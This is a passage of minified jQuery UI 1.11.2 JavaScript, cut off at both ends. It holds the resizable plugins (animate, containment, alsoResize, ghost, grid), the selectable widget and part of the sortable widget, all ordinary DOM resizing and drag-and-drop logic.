e.extend(this._change.n.apply(this,arguments),this._change.e.apply(this,[t,i,s]))},nw:function(t,i,s){return e.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[t,i,s]))}},_propagate:function(t,i){e.ui.plugin.call(this,t,[i,this.ui()]),"resize"!==t&&this._trigger(t,i,this.ui())},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize,originalPosition:this.originalPosition}}}),e.ui.plugin.add("resizable","animate",{stop:function(t){var i=e(this).resizable("instance"),s=i.options,a=i._proportionallyResizeElements,n=a.length&&/textarea/i.test(a[0].nodeName),o=n&&i._hasScroll(a[0],"left")?0:i.sizeDiff.height,r=n?0:i.sizeDiff.width,h={width:i.size.width-r,height:i.size.height-o},l=parseInt(i.element.css("left"),10)+(i.position.left-i.originalPosition.left)||null,u=parseInt(i.element.css("top"),10)+(i.position.top-i.originalPosition.top)||null;i.element.animate(e.extend(h,u&&l?{top:u,left:l}:{}),{duration:s.animateDuration,easing:s.animateEasing,step:function(){var s={width:parseInt(i.element.css("width"),10),height:parseInt(i.element.css("height"),10),top:parseInt(i.element.css("top"),10),left:parseInt(i.element.css("left"),10)};a&&a.length&&e(a[0]).css({width:s.width,height:s.height}),i._updateCache(s),i._propagate("resize",t)}})}}),e.ui.plugin.add("resizable","containment",{start:function(){var t,i,s,a,n,o,r,h=e(this).resizable("instance"),l=h.options,u=h.element,d=l.containment,c=d instanceof e?d.get(0):/parent/.test(d)?u.parent().get(0):d;c&&(h.containerElement=e(c),/document/.test(d)||d===document?(h.containerOffset={left:0,top:0},h.containerPosition={left:0,top:0},h.parentData={element:e(document),left:0,top:0,width:e(document).width(),height:e(document).height()||document.body.parentNode.scrollHeight}):(t=e(c),i=[],e(["Top","Right","Left","Bottom"]).each(function(e,s){i[e]=h._num(t.css("padding"+s))}),h.containerOffset=t.offset(),h.containerPosition=t.position(),h.containerSize={height:t.innerHeight()-i[3],width:t.innerWidth()-i[1]},s=h.containerOffset,a=h.containerSize.height,n=h.containerSize.width,o=h._hasScroll(c,"left")?c.scrollWidth:n,r=h._hasScroll(c)?c.scrollHeight:a,h.parentData={element:c,left:s.left,top:s.top,width:o,height:r}))},resize:function(t){var i,s,a,n,o=e(this).resizable("instance"),r=o.options,h=o.containerOffset,l=o.position,u=o._aspectRatio||t.shiftKey,d={top:0,left:0},c=o.containerElement,p=!0;c[0]!==document&&/static/.test(c.css("position"))&&(d=h),l.left<(o._helper?h.left:0)&&(o.size.width=o.size.width+(o._helper?o.position.left-h.left:o.position.left-d.left),u&&(o.size.height=o.size.width/o.aspectRatio,p=!1),o.position.left=r.helper?h.left:0),l.top<(o._helper?h.top:0)&&(o.size.height=o.size.height+(o._helper?o.position.top-h.top:o.position.top),u&&(o.size.width=o.size.height*o.aspectRatio,p=!1),o.position.top=o._helper?h.top:0),a=o.containerElement.get(0)===o.element.parent().get(0),n=/relative|absolute/.test(o.containerElement.css("position")),a&&n?(o.offset.left=o.parentData.left+o.position.left,o.offset.top=o.parentData.top+o.position.top):(o.offset.left=o.element.offset().left,o.offset.top=o.element.offset().top),i=Math.abs(o.sizeDiff.width+(o._helper?o.offset.left-d.left:o.offset.left-h.left)),s=Math.abs(o.sizeDiff.height+(o._helper?o.offset.top-d.top:o.offset.top-h.top)),i+o.size.width>=o.parentData.width&&(o.size.width=o.parentData.width-i,u&&(o.size.height=o.size.width/o.aspectRatio,p=!1)),s+o.size.height>=o.parentData.height&&(o.size.height=o.parentData.height-s,u&&(o.size.width=o.size.height*o.aspectRatio,p=!1)),p||(o.position.left=o.prevPosition.left,o.position.top=o.prevPosition.top,o.size.width=o.prevSize.width,o.size.height=o.prevSize.height)},stop:function(){var t=e(this).resizable("instance"),i=t.options,s=t.containerOffset,a=t.containerPosition,n=t.containerElement,o=e(t.helper),r=o.offset(),h=o.outerWidth()-t.sizeDiff.width,l=o.outerHeight()-t.sizeDiff.height;t._helper&&!i.animate&&/relative/.test(n.css("position"))&&e(this).css({left:r.left-a.left-s.left,width:h,height:l}),t._helper&&!i.animate&&/static/.test(n.css("position"))&&e(this).css({left:r.left-a.left-s.left,width:h,height:l})}}),e.ui.plugin.add("resizable","alsoResize",{start:function(){var t=e(this).resizable("instance"),i=t.options,s=function(t){e(t).each(function(){var t=e(this);t.data("ui-resizable-alsoresize",{width:parseInt(t.width(),10),height:parseInt(t.height(),10),left:parseInt(t.css("left"),10),top:parseInt(t.css("top"),10)})})};"object"!=typeof i.alsoResize||i.alsoResize.parentNode?s(i.alsoResize):i.alsoResize.length?(i.alsoResize=i.alsoResize[0],s(i.alsoResize)):e.each(i.alsoResize,function(e){s(e)})},resize:function(t,i){var s=e(this).resizable("instance"),a=s.options,n=s.originalSize,o=s.originalPosition,r={height:s.size.height-n.height||0,width:s.size.width-n.width||0,top:s.position.top-o.top||0,left:s.position.left-o.left||0},h=function(t,s){e(t).each(function(){var t=e(this),a=e(this).data("ui-resizable-alsoresize"),n={},o=s&&s.length?s:t.parents(i.originalElement[0]).length?["width","height"]:["width","height","top","left"];e.each(o,function(e,t){var i=(a[t]||0)+(r[t]||0);i&&i>=0&&(n[t]=i||null)}),t.css(n)})};"object"!=typeof a.alsoResize||a.alsoResize.nodeType?h(a.alsoResize):e.each(a.alsoResize,function(e,t){h(e,t)})},stop:function(){e(this).removeData("resizable-alsoresize")}}),e.ui.plugin.add("resizable","ghost",{start:function(){var t=e(this).resizable("instance"),i=t.options,s=t.size;t.ghost=t.originalElement.clone(),t.ghost.css({opacity:.25,display:"block",position:"relative",height:s.height,width:s.width,margin:0,left:0,top:0}).addClass("ui-resizable-ghost").addClass("string"==typeof i.ghost?i.ghost:""),t.ghost.appendTo(t.helper)},resize:function(){var t=e(this).resizable("instance");t.ghost&&t.ghost.css({position:"relative",height:t.size.height,width:t.size.width})},stop:function(){var t=e(this).resizable("instance");t.ghost&&t.helper&&t.helper.get(0).removeChild(t.ghost.get(0))}}),e.ui.plugin.add("resizable","grid",{resize:function(){var t,i=e(this).resizable("instance"),s=i.options,a=i.size,n=i.originalSize,o=i.originalPosition,r=i.axis,h="number"==typeof s.grid?[s.grid,s.grid]:s.grid,l=h[0]||1,u=h[1]||1,d=Math.round((a.width-n.width)/l)*l,c=Math.round((a.height-n.height)/u)*u,p=n.width+d,f=n.height+c,m=s.maxWidth&&p>s.maxWidth,g=s.maxHeight&&f>s.maxHeight,v=s.minWidth&&s.minWidth>p,y=s.minHeight&&s.minHeight>f;s.grid=h,v&&(p+=l),y&&(f+=u),m&&(p-=l),g&&(f-=u),/^(se|s|e)$/.test(r)?(i.size.width=p,i.size.height=f):/^(ne)$/.test(r)?(i.size.width=p,i.size.height=f,i.position.top=o.top-c):/^(sw)$/.test(r)?(i.size.width=p,i.size.height=f,i.position.left=o.left-d):((0>=f-u||0>=p-l)&&(t=i._getPaddingPlusBorderDimensions(this)),f-u>0?(i.size.height=f,i.position.top=o.top-c):(f=u-t.height,i.size.height=f,i.position.top=o.top+n.height-f),p-l>0?(i.size.width=p,i.position.left=o.left-d):(p=u-t.height,i.size.width=p,i.position.left=o.left+n.width-p))}}),e.ui.resizable,e.widget("ui.selectable",e.ui.mouse,{version:"1.11.2",options:{appendTo:"body",autoRefresh:!0,distance:0,filter:"*",tolerance:"touch",selected:null,selecting:null,start:null,stop:null,unselected:null,unselecting:null},_create:function(){var t,i=this;this.element.addClass("ui-selectable"),this.dragged=!1,this.refresh=function(){t=e(i.options.filter,i.element[0]),t.addClass("ui-selectee"),t.each(function(){var t=e(this),i=t.offset();e.data(this,"selectable-item",{element:this,$element:t,left:i.left,top:i.top,right:i.left+t.outerWidth(),bottom:i.top+t.outerHeight(),startselected:!1,selected:t.hasClass("ui-selected"),selecting:t.hasClass("ui-selecting"),unselecting:t.hasClass("ui-unselecting")})})},this.refresh(),this.selectees=t.addClass("ui-selectee"),this._mouseInit(),this.helper=e("<div class='ui-selectable-helper'></div>")},_destroy:function(){this.selectees.removeClass("ui-selectee").removeData("selectable-item"),this.element.removeClass("ui-selectable ui-selectable-disabled"),this._mouseDestroy()},_mouseStart:function(t){var i=this,s=this.options;this.opos=[t.pageX,t.pageY],this.options.disabled||(this.selectees=e(s.filter,this.element[0]),this._trigger("start",t),e(s.appendTo).append(this.helper),this.helper.css({left:t.pageX,top:t.pageY,width:0,height:0}),s.autoRefresh&&this.refresh(),this.selectees.filter(".ui-selected").each(function(){var s=e.data(this,"selectable-item");s.startselected=!0,t.metaKey||t.ctrlKey||(s.$element.removeClass("ui-selected"),s.selected=!1,s.$element.addClass("ui-unselecting"),s.unselecting=!0,i._trigger("unselecting",t,{unselecting:s.element}))}),e(t.target).parents().addBack().each(function(){var s,a=e.data(this,"selectable-item");return a?(s=!t.metaKey&&!t.ctrlKey||!a.$element.hasClass("ui-selected"),a.$element.removeClass(s?"ui-unselecting":"ui-selected").addClass(s?"ui-selecting":"ui-unselecting"),a.unselecting=!s,a.selecting=s,a.selected=s,s?i._trigger("selecting",t,{selecting:a.element}):i._trigger("unselecting",t,{unselecting:a.element}),!1):void 0}))},_mouseDrag:function(t){if(this.dragged=!0,!this.options.disabled){var i,s=this,a=this.options,n=this.opos[0],o=this.opos[1],r=t.pageX,h=t.pageY;return n>r&&(i=r,r=n,n=i),o>h&&(i=h,h=o,o=i),this.helper.css({left:n,top:o,width:r-n,height:h-o}),this.selectees.each(function(){var i=e.data(this,"selectable-item"),l=!1;
i&&i.element!==s.element[0]&&("touch"===a.tolerance?l=!(i.left>r||n>i.right||i.top>h||o>i.bottom):"fit"===a.tolerance&&(l=i.left>n&&r>i.right&&i.top>o&&h>i.bottom),l?(i.selected&&(i.$element.removeClass("ui-selected"),i.selected=!1),i.unselecting&&(i.$element.removeClass("ui-unselecting"),i.unselecting=!1),i.selecting||(i.$element.addClass("ui-selecting"),i.selecting=!0,s._trigger("selecting",t,{selecting:i.element}))):(i.selecting&&((t.metaKey||t.ctrlKey)&&i.startselected?(i.$element.removeClass("ui-selecting"),i.selecting=!1,i.$element.addClass("ui-selected"),i.selected=!0):(i.$element.removeClass("ui-selecting"),i.selecting=!1,i.startselected&&(i.$element.addClass("ui-unselecting"),i.unselecting=!0),s._trigger("unselecting",t,{unselecting:i.element}))),i.selected&&(t.metaKey||t.ctrlKey||i.startselected||(i.$element.removeClass("ui-selected"),i.selected=!1,i.$element.addClass("ui-unselecting"),i.unselecting=!0,s._trigger("unselecting",t,{unselecting:i.element})))))}),!1}},_mouseStop:function(t){var i=this;return this.dragged=!1,e(".ui-unselecting",this.element[0]).each(function(){var s=e.data(this,"selectable-item");s.$element.removeClass("ui-unselecting"),s.unselecting=!1,s.startselected=!1,i._trigger("unselected",t,{unselected:s.element})}),e(".ui-selecting",this.element[0]).each(function(){var s=e.data(this,"selectable-item");s.$element.removeClass("ui-selecting").addClass("ui-selected"),s.selecting=!1,s.selected=!0,s.startselected=!0,i._trigger("selected",t,{selected:s.element})}),this._trigger("stop",t),this.helper.remove(),!1}}),e.widget("ui.sortable",e.ui.mouse,{version:"1.11.2",widgetEventPrefix:"sort",ready:!1,options:{appendTo:"parent",axis:!1,connectWith:!1,containment:!1,cursor:"auto",cursorAt:!1,dropOnEmpty:!0,forcePlaceholderSize:!1,forceHelperSize:!1,grid:!1,handle:!1,helper:"original",items:"> *",opacity:!1,placeholder:!1,revert:!1,scroll:!0,scrollSensitivity:20,scrollSpeed:20,scope:"default",tolerance:"intersect",zIndex:1e3,activate:null,beforeStop:null,change:null,deactivate:null,out:null,over:null,receive:null,remove:null,sort:null,start:null,stop:null,update:null},_isOverAxis:function(e,t,i){return e>=t&&t+i>e},_isFloating:function(e){return/left|right/.test(e.css("float"))||/inline|table-cell/.test(e.css("display"))},_create:function(){var e=this.options;this.containerCache={},this.element.addClass("ui-sortable"),this.refresh(),this.floating=this.items.length?"x"===e.axis||this._isFloating(this.items[0].item):!1,this.offset=this.element.offset(),this._mouseInit(),this._setHandleClassName(),this.ready=!0},_setOption:function(e,t){this._super(e,t),"handle"===e&&this._setHandleClassName()},_setHandleClassName:function(){this.element.find(".ui-sortable-handle").removeClass("ui-sortable-handle"),e.each(this.items,function(){(this.instance.options.handle?this.item.find(this.instance.options.handle):this.item).addClass("ui-sortable-handle")})},_destroy:function(){this.element.removeClass("ui-sortable ui-sortable-disabled").find(".ui-sortable-handle").removeClass("ui-sortable-handle"),this._mouseDestroy();for(var e=this.items.length-1;e>=0;e--)this.items[e].item.removeData(this.widgetName+"-item");return this},_mouseCapture:function(t,i){var s=null,a=!1,n=this;return this.reverting?!1:this.options.disabled||"static"===this.options.type?!1:(this._refreshItems(t),e(t.target).parents().each(function(){return e.data(this,n.widgetName+"-item")===n?(s=e(this),!1):void 0}),e.data(t.target,n.widgetName+"-item")===n&&(s=e(t.target)),s?!this.options.handle||i||(e(this.options.handle,s).find("*").addBack().each(function(){this===t.target&&(a=!0)}),a)?(this.currentItem=s,this._removeCurrentsFromItems(),!0):!1:!1)},_mouseStart:function(t,i,s){var a,n,o=this.options;if(this.currentContainer=this,this.refreshPositions(),this.helper=this._createHelper(t),this._cacheHelperProportions(),this._cacheMargins(),this.scrollParent=this.helper.scrollParent(),this.offset=this.currentItem.offset(),this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left},e.extend(this.offset,{click:{left:t.pageX-this.offset.left,top:t.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()}),this.helper.css("position","absolute"),this.cssPosition=this.helper.css("position"),this.originalPosition=this._generatePosition(t),this.originalPageX=t.pageX,this.originalPageY=t.pageY,o.cursorAt&&this._adjustOffsetFromHelper(o.cursorAt),this.domPosition={prev:this.currentItem.prev()[0],parent:this.currentItem.parent()[0]},this.helper[0]!==this.currentItem[0]&&this.currentItem.hide(),this._createPlaceholder(),o.containment&&this._setContainment(),o.cursor&&"auto"!==o.cursor&&(n=this.document.find("body"),this.storedCursor=n.css("cursor"),n.css("cursor",o.cursor),this.storedStylesheet=e("<style>*{ cursor: "+o.cursor+" !important; }</style>").appendTo(n)),o.opacity&&(this.helper.css("opacity")&&(this._storedOpacity=this.helper.css("opacity")),this.helper.css("opacity",o.opacity)),o.zIndex&&(this.helper.css("zIndex")&&(this._storedZIndex=this.helper.css("zIndex")),this.helper.css("zIndex",o.zIndex)),this.scrollParent[0]!==document&&"HTML"!==this.scrollParent[0].tagName&&(this.overflowOffset=this.scrollParent.offset()),this._trigger("start",t,this._uiHash()),this._preserveHelperProportions||this._cacheHelperProportions(),!s)for(a=this.containers.length-1;a>=0;a--)this.containers[a]._trigger("activate",t,this._uiHash(this));return e.ui.ddmanager&&(e.ui.ddmanager.current=this),e.ui.ddmanager&&!o.dropBehaviour&&e.ui.ddmanager.prepareOffsets(this,t),this.dragging=!0,this.helper.addClass("ui-sortable-helper"),this._mouseDrag(t),!0},_mouseDrag:function(t){var i,s,a,n,o=this.options,r=!1;for(this.position=this._generatePosition(t),this.positionAbs=this._convertPositionTo("absolute"),this.lastPositionAbs||(this.lastPositionAbs=this.positionAbs),this.options.scroll&&(this.scrollParent[0]!==document&&"HTML"!==this.scrollParent[0].tagName?(this.overflowOffset.top+this.scrollParent[0].offsetHeight-t.pageY<o.scrollSensitivity?this.scrollParent[0].scrollTop=r=this.scrollParent[0].scrollTop+o.scrollSpeed:t.pageY-this.overflowOffset.top<o.scrollSensitivity&&(this.scrollParent[0].scrollTop=r=this.scrollParent[0].scrollTop-o.scrollSpeed),this.overflowOffset.left+this.scrollParent[0].offsetWidth-t.pageX<o.scrollSensitivity?this.scrollParent[0].scrollLeft=r=this.scrollParent[0].scrollLeft+o.scrollSpeed:t.pageX-this.overflowOffset.left<o.scrollSensitivity&&(this.scrollParent[0].scrollLeft=r=this.scrollParent[0].scrollLeft-o.scrollSpeed)):(t.pageY-e(document).scrollTop()<o.scrollSensitivity?r=e(document).scrollTop(e(document).scrollTop()-o.scrollSpeed):e(window).height()-(t.pageY-e(document).scrollTop())<o.scrollSensitivity&&(r=e(document).scrollTop(e(document).scrollTop()+o.scrollSpeed)),t.pageX-e(document).scrollLeft()<o.scrollSensitivity?r=e(document).scrollLeft(e(document).scrollLeft()-o.scrollSpeed):e(window).width()-(t.pageX-e(document).scrollLeft())<o.scrollSensitivity&&(r=e(document).scrollLeft(e(document).scrollLeft()+o.scrollSpeed))),r!==!1&&e.ui.ddmanager&&!o.dropBehaviour&&e.ui.ddmanager.prepareOffsets(this,t)),this.positionAbs=this._convertPositionTo("absolute"),this.options.axis&&"y"===this.options.axis||(this.helper[0].style.left=this.position.left+"px"),this.options.axis&&"x"===this.options.axis||(this.helper[0].style.top=this.position.top+"px"),i=this.items.length-1;i>=0;i--)if(s=this.items[i],a=s.item[0],n=this._intersectsWithPointer(s),n&&s.instance===this.currentContainer&&a!==this.currentItem[0]&&this.placeholder[1===n?"next":"prev"]()[0]!==a&&!e.contains(this.placeholder[0],a)&&("semi-dynamic"===this.options.type?!e.contains(this.element[0],a):!0)){if(this.direction=1===n?"down":"up","pointer"!==this.options.tolerance&&!this._intersectsWithSides(s))break;this._rearrange(t,s),this._trigger("change",t,this._uiHash());break}return this._contactContainers(t),e.ui.ddmanager&&e.ui.ddmanager.drag(this,t),this._trigger("sort",t,this._uiHash()),this.lastPositionAbs=this.positionAbs,!1},_mouseStop:function(t,i){if(t){if(e.ui.ddmanager&&!this.options.dropBehaviour&&e.ui.ddmanager.drop(this,t),this.options.revert){var s=this,a=this.placeholder.offset(),n=this.options.axis,o={};n&&"x"!==n||(o.left=a.left-this.offset.parent.left-this.margins.left+(this.offsetParent[0]===document.body?0:this.offsetParent[0].scrollLeft)),n&&"y"!==n||(o.top=a.top-this.offset.parent.top-this.margins.top+(this.offsetParent[0]===document.body?0:this.offsetParent[0].scrollTop)),this.reverting=!0,e(this.helper).animate(o,parseInt(this.options.revert,10)||500,function(){s._clear(t)})}else this._clear(t,i);return!1}},cancel:function(){if(this.dragging){this._mouseUp({target:null}),"original"===this.options.helper?this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper"):this.currentItem.show();for(var t=this.containers.length-1;t>=0;t--)this.containers[t]._trigger("deactivate",null,this._uiHash(this)),this.containers[t].containerCache.over&&(this.containers[t]._trigger("out",null,this._uiHash(this)),this.containers[t].containerCache.over=0)}return this.placeholder&&(this.placeholder[0].parentNode&&this.placeholder[0].parentNode.removeChild(this.placeholder[0]),"original"!==this.options.helper&&this.helper&&this.helper[0].parentNode&&this.helper.remove(),e.extend(this,{helper:null,dragging:!1,reverting:!1,_noFinalSort:null}),this.domPosition.prev?e(this.domPosition.prev).after(this.currentItem):e(this.domPosition.parent).prepend(this.currentItem)),this},serialize:function(t){var i=this._getItemsAsjQuery(t&&t.connected),s=[];return t=t||{},e(i).each(function(){var i=(e(t.item||this).attr(t.attribute||"id")||"").match(t.expression||/(.+)[\-=_](.+)/);i&&s.push((t.key||i[1]+"[]")+"="+(t.key&&t.expression?i[1]:i[2]))}),!s.length&&t.key&&s.push(t.key+"="),s.join("&")},toArray:function(t){var i=this._getItemsAsjQuery(t&&t.connected),s=[];return t=t||{},i.each(function(){s.push(e(t.item||this).attr(t.attribute||"id")||"")}),s},_intersectsWith:function(e){var t=this.positionAbs.left,i=t+this.helperProportions.width,s=this.positionAbs.top,a=s+this.helperProportions.height,n=e.left,o=n+e.width,r=e.top,h=r+e.height,l=this.offset.click.top,u=this.offset.click.left,d="x"===this.options.axis||s+l>r&&h>s+l,c="y"===this.options.axis||t+u>n&&o>t+u,p=d&&c;return"pointer"===this.options.tolerance||this.options.forcePointerForContainers||"pointer"!==this.options.tolerance&&this.helperProportions[this.floating?"width":"height"]>e[this.floating?"width":"height"]?p:t+this.helperProportions.width/2>n&&o>i-this.helperProportions.width/2&&s+this.helperProportions.height/2>r&&h>a-this.helperProportions.height/2},_intersectsWithPointer:function(e){var t="x"===this.options.axis||this._isOverAxis(this.positionAbs.top+this.offset.click.top,e.top,e.height),i="y"===this.options.axis||this._isOverAxis(this.positionAbs.left+this.offset.click.left,e.left,e.width),s=t&&i,a=this._getDragVerticalDirection(),n=this._getDragHorizontalDirection();return s?this.floating?n&&"right"===n||"down"===a?2:1:a&&("down"===a?2:1):!1},_intersectsWithSides:function(e){var t=this._isOverAxis(this.positionAbs.top+this.offset.click.top,e.top+e.height/2,e.height),i=this._isOverAxis(this.positionAbs.left+this.offset.click.left,e.left+e.width/2,e.width),s=this._getDragVerticalDirection(),a=this._getDragHorizontalDirection();return this.floating&&a?"right"===a&&i||"left"===a&&!i:s&&("down"===s&&t||"up"===s&&!t)},_getDragVerticalDirection:function(){var e=this.positionAbs.top-this.lastPositionAbs.top;return 0!==e&&(e>0?"down":"up")},_getDragHorizontalDirection:function(){var e=this.positionAbs.left-this.lastPositionAbs.left;return 0!==e&&(e>0?"right":"left")},refresh:function(e){return this._refreshItems(e),this._setHandleClassName(),this.refreshPositions(),this},_connectWith:function(){var e=this.options;return e.connectWith.constructor===String?[e.connectWith]:e.connectWith},_getItemsAsjQuery:function(t){function i(){r.push(this)}var s,a,n,o,r=[],h=[],l=this._connectWith();if(l&&t)for(s=l.length-1;s>=0;s--)for(n=e(l[s]),a=n.length-1;a>=0;a--)o=e.data(n[a],this.widgetFullName),o&&o!==this&&!o.options.disabled&&h.push([e.isFunction(o.options.items)?o.options.items.call(o.element):e(o.options.items,o.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),o]);for(h.push([e.isFunction(this.options.items)?this.options.items.call(this.element,null,{options:this.options,item:this.currentItem}):e(this.options.items,this.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),this]),s=h.length-1;s>=0;s--)h[s][0].each(i);return e(r)},_removeCurrentsFromItems:function(){var t=this.currentItem.find(":data("+this.widgetName+"-item)");this.items=e.grep(this.items,function(e){for(var i=0;t.length>i;i++)if(t[i]===e.item[0])return!1;return!0})},_refreshItems:function(t){this.items=[],this.containers=[this];var i,s,a,n,o,r,h,l,u=this.items,d=[[e.isFunction(this.options.items)?this.options.items.call(this.element[0],t,{item:this.currentItem}):e(this.options.items,this.element),this]],c=this._connectWith();if(c&&this.ready)for(i=c.length-1;i>=0;i--)for(a=e(c[i]),s=a.length-1;s>=0;s--)n=e.data(a[s],this.widgetFullName),n&&n!==this&&!n.options.disabled&&(d.push([e.isFunction(n.options.items)?n.options.items.call(n.element[0],t,{item:this.currentItem}):e(n.options.items,n.element),n]),this.containers.push(n));for(i=d.length-1;i>=0;i--)for(o=d[i][1],r=d[i][0],s=0,l=r.length;l>s;s++)h=e(r[s]),h.data(this.widgetName+"-item",o),u.push({item:h,instance:o,width:0,height:0,left:0,top:0})},refreshPositions:function(t){this.offsetParent&&this.helper&&(this.offset.parent=this._getParentOffset());var i,s,a,n;for(i=this.items.length-1;i>=0;i--)s=this.items[i],s.instance!==this.currentContainer&&this.currentContainer&&s.item[0]!==this.currentItem[0]||(a=this.options.toleranceElement?e(this.options.toleranceElement,s.item):s.item,t||(s.width=a.outerWidth(),s.height=a.outerHeight()),n=a.offset(),s.left=n.left,s.top=n.top);if(this.options.custom&&this.options.custom.refreshContainers)this.options.custom.refreshContainers.call(this);else for(i=this.containers.length-1;i>=0;i--)n=this.containers[i].element.offset(),this.containers[i].containerCache.left=n.left,this.containers[i].containerCache.top=n.top,this.containers[i].containerCache.width=this.containers[i].element.outerWidth(),this.containers[i].containerCache.height=this.containers[i].element.outerHeight();return this},_createPlaceholder:function(t){t=t||this;var i,s=t.options;s.placeholder&&s.placeholder.constructor!==String||(i=s.placeholder,s.placeholder={element:function(){var s=t.currentItem[0].nodeName.toLowerCase(),a=e("<"+s+">",t.document[0]).addClass(i||t.currentItem[0].className+" ui-sortable-placeholder").removeClass("ui-sortable-helper");return"tr"===s?t.currentItem.children().each(function(){e("<td>&#160;</td>",t.document[0]).attr("colspan",e(this).attr("colspan")||1).appendTo(a)}):"img"===s&&a.attr("src",t.currentItem.attr("src")),i||a.css("visibility","hidden"),a},update:function(e,a){(!i||s.forcePlaceholderSize)&&(a.height()||a.height(t.currentItem.innerHeight()-parseInt(t.currentItem.css("paddingTop")||0,10)-parseInt(t.currentItem.css("paddingBottom")||0,10)),a.width()||a.width(t.currentItem.innerWidth()-parseInt(t.currentItem.css("paddingLeft")||0,10)-parseInt(t.currentItem.css("paddingRight")||0,10)))}}),t.placeholder=e(s.placeholder.element.call(t.element,t.currentItem)),t.currentItem.after(t.placeholder),s.placeholder.update(t,t.placeholder)},_contactContainers:function(t){var i,s,a,n,o,r,h,l,u,d,c=null,p=null;for(i=this.containers.length-1;i>=0;i--)if(!e.contains(this.currentItem[0],this.containers[i].element[0]))if(this._intersectsWith(this.containers[i].containerCache)){if(c&&e.contains(this.containers[i].element[0],c.element[0]))continue;c=this.containers[i],p=i}else this.containers[i].containerCache.over&&(this.containers[i]._trigger("out",t,this._uiHash(this)),this.containers[i].containerCache.over=0);if(c)if(1===this.containers.length)this.containers[p].containerCache.over||(this.containers[p]._trigger("over",t,this._uiHash(this)),this.containers[p].containerCache.over=1);else{for(a=1e4,n=null,u=c.floating||this._isFloating(this.currentItem),o=u?"left":"top",r=u?"width":"height",d=u?"clientX":"clientY",s=this.items.length-1;s>=0;s--)e.contains(this.containers[p].element[0],this.items[s].item[0])&&this.items[s].item[0]!==this.currentItem[0]&&(h=this.items[s].item.offset()[o],l=!1,t[d]-h>this.items[s][r]/2&&(l=!0),a>Math.abs(t[d]-h)&&(a=Math.abs(t[d]-h),n=this.items[s],this.direction=l?"up":"down"));if(!n&&!this.options.dropOnEmpty)return;if(this.currentContainer===this.containers[p])return this.currentContainer.containerCache.over||(this.containers[p]._trigger("over",t,this._uiHash()),this.currentContainer.containerCache.over=1),void 0;n?this._rearrange(t,n,null,!0):this._rearrange(t,null,this.containers[p].element,!0),this._trigger("change",t,this._uiHash()),this.containers[p]._trigger("change",t,this._uiHash(this)),this.currentContainer=this.containers[p],this.options.placeholder.update(this.currentContainer,this.placeholder),this.containers[p]._trigger("over",t,this._uiHash(this)),this.containers[p].containerCache.over=1}},_createHelper:function(t){var i=this.options,s=e.isFunction(i.helper)?e(i.helper.apply(this.element[0],[t,this.currentItem])):"clone"===i.helper?this.currentItem.clone():this.currentItem;return s.parents("body").length||e("parent"!==i.appendTo?i.appendTo:this.currentItem[0].parentNode)[0].appendChild(s[0]),s[0]===this.currentItem[0]&&(this._storedCSS={width:this.currentItem[0].style.width,height:this.currentItem[0].style.height,position:this.currentItem.css("position"),top:this.currentItem.css("top"),left:this.currentItem.css("left")}),(!s[0].style.width||i.forceHelperSize)&&s.width(this.currentItem.width()),(!s[0].style.height||i.forceHelperSize)&&s.height(this.currentItem.height()),s},_adjustOffsetFromHelper:function(t){"string"==typeof t&&(t=t.split(" ")),e.isArray(t)&&(t={left:+t[0],top:+t[1]||0}),"left"in t&&(this.offset.click.left=t.left+this.margins.left),"right"in t&&(this.offset.click.left=this.helperProportions.width-t.right+this.margins.left),"top"in t&&(this.offset.click.top=t.top+this.margins.top),"bottom"in t&&(this.offset.click.top=this.helperProportions.height-t.bottom+this.margins.top)},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var t=this.offsetParent.offset();return"absolute"===this.cssPosition&&this.scrollParent[0]!==document&&e.contains(this.scrollParent[0],this.offsetParent[0])&&(t.left+=this.scrollParent.scrollLeft(),t.top+=this.scrollParent.scrollTop()),(this.offsetParent[0]===document.body||this.offsetParent[0].tagName&&"html"===this.offsetParent[0].tagName.toLowerCase()&&e.ui.ie)&&(t={top:0,left:0}),{top:t.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:t.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"===this.cssPosition){var e=this.currentItem.position();return{top:e.top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:e.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}}return{top:0,left:0}},_cacheMargins:function(){this.margins={left:parseInt(this.currentItem.css("marginLeft"),10)||0,top:parseInt(this.currentItem.css("marginTop"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var t,i,s,a=this.options;"parent"===a.containment&&(a.containment=this.helper[0].parentNode),("document"===a.containment||"window"===a.containment)&&(this.containment=[0-this.offset.relative.left-this.offset.parent.left,0-this.offset.relative.top-this.offset.parent.top,e("document"===a.containment?document:window).width()-this.helperProportions.width-this.margins.left,(e("document"===a.containment?document:window).height()||document.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]),/^(document|window|parent)$/.test(a.containment)||(t=e(a.containment)[0],i=e(a.containment).offset(),s="hidden"!==e(t).css("overflow"),this.containment=[i.left+(parseInt(e(t).css("borderLeftWidth"),10)||0)+(parseInt(e(t).css("paddingLeft"),10)||0)-this.margins.left,i.top+(parseInt(e(t).css("borderTopWidth"),10)||0)+(parseInt(e(t).css("paddingTop"),10)||0)-this.margins.top,i.left+(s?Math.max(t.scrollWidth,t.offsetWidth):t.offsetWidth)-(parseInt(e(t).css("borderLeftWidth"),10)||0)-(parseInt(e(t).css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left,i.top+(s?Math.max(t.scrollHeight,t.offsetHeight):t.offsetHeight)-(parseInt(e(t).css("borderTopWidth"),10)||0)-(parseInt(e(t).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top])},_convertPositionTo:function(t,i){i||(i=this.position);var 